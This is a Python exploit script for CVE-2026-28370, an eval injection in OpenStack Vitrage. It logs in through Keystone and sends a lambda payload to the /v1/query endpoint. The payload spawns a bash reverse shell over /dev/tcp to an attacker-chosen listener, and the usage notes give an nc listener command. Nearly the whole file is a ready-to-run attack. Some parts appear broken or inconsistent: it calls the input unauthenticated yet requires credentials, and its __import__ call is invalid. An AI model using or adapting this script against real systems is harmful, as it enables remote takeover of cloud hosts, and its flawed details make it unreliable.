#!/usr/bin/env python3
# Exploit Title: OpenStack Vitrage < 12.0.1 / 13.0.1 Eval Injection Remote Code Execution
# CVE: CVE-2026-28370
# Date: 2026-02-27
# Exploit Author: Mohammed Idrees Banyamer
# Author Country: Jordan
# Instagram: @banyamer_security
# Author GitHub:
# Vendor Homepage: https://www.openstack.org/
# Software Link: https://opendev.org/openstack/vitrage
# Affected: OpenStack Vitrage < 12.0.1 / 13.0.1 (vulnerable versions)
# Tested on: OpenStack with Vitrage (pre-patch)
# Category: Remote Code Execution
# Platform: Linux
# Exploit Type: Remote
# CVSS: 9.1 (CRITICAL)
# CWE: CWE-95 (Improper Neutralization of Directives in Dynamically Evaluated Code)
# Description: Unauthenticated user input in Vitrage query expression leads to arbitrary Python code execution via eval()
# Fixed in: Patched in Vitrage stable branches after Feb 2026 security release
# Usage:
# python3 exploit.py <vitrage-api-url> --username <user> --password <pass> --project <project> --lhost <your_ip> --lport <your_port>
#
# Examples:
# python3 exploit.py http://controller:8999 --username admin --password secret --project admin --lhost 192.168.1.100 --lport 4444
#
# Options:
# --username OpenStack username with Vitrage access
# --password Password
# --project Project name
# --lhost Listener IP for reverse shell
# --lport Listener port
#
# Notes:
# - Requires valid OpenStack credentials (high privileges in Vitrage context)
# - Payload spawns reverse shell using bash
#
# How to Use
#
# Step 1: Start a listener (e.g. nc -lvnp 4444)
# Step 2: Run the exploit with correct credentials and network details
import sys
import argparse
import requests
from keystoneauth1 import session
from keystoneauth1.identity import v3
print(r"""
╔════════════════════════════════════════════════════════════════════════════════════════════╗
║ ║
║ ▄▄▄▄· ▄▄ ▄ . ▄▄ • ▄▄▄▄▄ ▄▄▄ ▄▄▄· ▄▄▄· ▄▄▄▄▄▄▄▄▄ .▄▄▄ ▄• ▄▌ ║
║ ▐█ ▀█▪▀▄.▀·▐█ ▀ ▪•██ ▪ ▀▄ █·▐█ ▀█ ▐█ ▄█•██ ▀▀▄.▀·▀▄ █·█▪██▌ ║
║ ▐█▀▀█▄▐▀▀▪▄▄█ ▀█ ▐█.▪ ▄█▀▄ ▐▀▀▄ ▄█▀▀█ ██▀· ▐█.▪▐▀▀▪▄▐▀▀▄ █▌▐█· ║
║ ██▄▪▐█▐█▄▄▌▐█▄▪▐█ ▐█▌·▐█▌.▐▌▐█•█▌▐█ ▪▐▌▐█▪·• ▐█▌·▐█▄▄▌▐█•█▌▐█▄█▌ ║
║ ·▀▀▀▀ ▀▀▀ ·▀▀▀▀ ▀▀▀ ▀█▄▀▪.▀ ▀ ▀ ▀ .▀ ▀▀▀ ▀▀▀ .▀ ▀ ▀▀▀ ║
║ ║
║ b a n y a m e r _ s e c u r i t y ║
║ ║
║ >>> Silent Hunter • Shadow Presence <<< ║
║ ║
║ Operator : Mohammed Idrees Banyamer Jordan 🇯🇴 ║
║ Handle : @banyamer_security ║
║ ║
║ CVE-2026-28370 • OpenStack Vitrage Eval Injection ║
║ ║
╚════════════════════════════════════════════════════════════════════════════════════════════╝
""")
def parse_args():
parser = argparse.ArgumentParser(description="CVE-2026-28370 OpenStack Vitrage RCE")
parser.add_argument("target", help="Vitrage API base URL (e.g. http://controller:8999)")
parser.add_argument("--username", required=True, help="Keystone username")
parser.add_argument("--password", required=True, help="Keystone password")
parser.add_argument("--project", required=True, help="Keystone project name")
parser.add_argument("--lhost", required=True, help="Listener IP")
parser.add_argument("--lport", required=True, help="Listener port")
parser.add_argument("--keystone", default=None, help="Keystone auth URL (default: target:5000/v3)")
return parser.parse_args()
def get_token(args):
keystone_url = args.keystone or f"{args.target.rstrip('/')}/../keystone/v3".replace("8999", "5000")
auth = v3.Password(
auth_url=keystone_url,
username=args.username,
password=args.password,
project_name=args.project,
user_domain_name="Default",
project_domain_name="Default"
)
sess = session.Session(auth=auth)
return sess.get_token(auth)
def exploit(args):
token = get_token(args)
headers = {
"X-Auth-Token": token,
"Content-Type": "application/json",
"Accept": "application/json"
}
payload = (
f"__import__('socket,subprocess,os').__dict__['popen']("
f"'/bin/bash -c \\\"bash -i >& /dev/tcp/{args.lhost}/{args.lport} 0>&1\\\"'"
f").wait()"
)
exploit_data = {
"query": f"lambda x: {payload}"
}
url = f"{args.target.rstrip('/')}/v1/query"
print(f"[*] Target: {args.target}")
print(f"[*] Sending reverse shell payload to {url}")
print(f"[*] Listener: {args.lhost}:{args.lport}")
try:
r = requests.post(url, json=exploit_data, headers=headers, verify=False, timeout=20)
print(f"[+] Status: {r.status_code}")
if r.status_code in (200, 202, 204):
print("[+] Payload delivered — check your listener for connection")
else:
print(f"[-] Failed — response: {r.text[:300]}")
except Exception as e:
print(f"[-] Error: {e}")
if __name__ == "__main__":
if len(sys.argv) == 1:
print("Error: Missing arguments. Use --help for usage.")
sys.exit(1)
args = parse_args()
exploit(args)